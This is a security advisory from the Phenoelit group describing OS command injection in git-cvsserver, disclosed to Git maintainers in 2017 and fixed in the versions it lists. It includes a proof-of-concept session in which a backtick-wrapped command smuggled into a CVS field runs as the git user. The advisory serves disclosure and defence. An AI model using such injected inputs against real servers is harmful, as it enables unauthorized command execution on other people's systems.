The git subcommand cvsserver is a Perl script which makes excessive use of the backtick operator to invoke git. Unfortunately user input is used within some of those invocations and it allows for OS command injection. Versions before before 2.14.2, 2.13.6, 2.12.5, 2.11.4 and 2.10.5 are affected.
2de6037444f7b5a4cba7811fd7636e3e1a89d1b61face8188b179e5a4d83797b
Phenoelit Advisory <wir-haben-auch-mal-was-gefunden #0815 ++--->
[ Authors ]
joernchen <joernchen () phenoelit de>
Phenoelit Group (http://www.phenoelit.de)
[ Affected Products ]
Git before 2.14.2, 2.13.6, 2.12.5, 2.11.4 and 2.10.5 (git-cvsserver)
https://git-scm.com
[ Vendor communication ]
2017-09-08 Sent vulnerability details to the git-security list
2017-09-09 Acknowledgement of the issue, git maintainers ask if
a patch could be provided
2017-09-10 Patch is provided
2017-09-11 Further backtick operations are patched by the git
maintainers, corrections on the provided patch
2017-09-11 Revised patch is sent out
2017-09-11 Jeff King proposes to drop `git-cvsserver`'s default
invocation from `git-shell`
2017-09-22 Draft release for git 2.14.2 is created including the
fixes
2017-09-26 Release of this advisory, release of fixed git versions
[ Description ]
The `git` subcommand `cvsserver` is a Perl script which makes excessive
use of the backtick operator to invoke `git`. Unfortunately user input
is used within some of those invocations.
It should be noted, that `git-cvsserver` will be invoked by `git-shell`
by default without further configuration.
[ Example ]
Below a example of a OS Command Injection within `git-cvsserver`
triggered via `git-shell`:
=====8<=====
[git@host ~]$ cat .ssh/authorized_keys
command="git-shell -c \"$SSH_ORIGINAL_COMMAND\"" ssh-rsa AAAAB3NzaC ....
[joernchen@host ~]$ ssh git@localhost cvs server
Root /tmp
E /tmp/ does not seem to be a valid GIT repository
E
error 1 /tmp/ is not a valid repository
Directory .
`id>foooooo`
add
fatal: Not a git repository: '/tmp/'
Invalid module '`id>foooooo`' at /usr/lib/git-core/git-cvsserver line 3807, <STDIN> line 4.
[joernchen@host ~]$
[git@host ~]$ cat foooooo
uid=619(git) gid=618(git) groups=618(git)
[git@host ~]$
=====>8=====
[ Solution ]
Upgrade to one of the following git versions:
* 2.14.2
* 2.13.6
* 2.12.5
* 2.11.4
* 2.10.5
[ end of file ]